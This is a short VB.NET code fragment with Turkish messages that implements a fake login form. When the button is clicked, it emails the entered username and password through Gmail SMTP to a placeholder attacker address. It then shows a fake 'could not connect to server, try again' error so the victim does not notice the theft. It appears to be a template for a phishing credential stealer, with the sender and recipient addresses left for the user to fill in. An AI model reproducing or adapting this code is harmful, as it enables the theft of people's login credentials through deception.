Button1.Click
If TextBox1.Text = "" Then
MsgBox("Kullanıcı Adı Yanlış")
If TextBox2.Text = "" Then
MsgBox("Şifre Yanlış")
Else
End If
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("", "")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("KENDİ GMAİLİNİ")
mail.To.Add("GMAİLİNİZ")
mail.Subject = "Username : " & TextBox2.Text
mail.Body = "Password : " & TextBox1.Text & ","
smtpServer.Send(mail)
MsgBox("Servere Bağlanılamadı Lütfen Tekrar Deneyin")
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Me.Close()
End Sub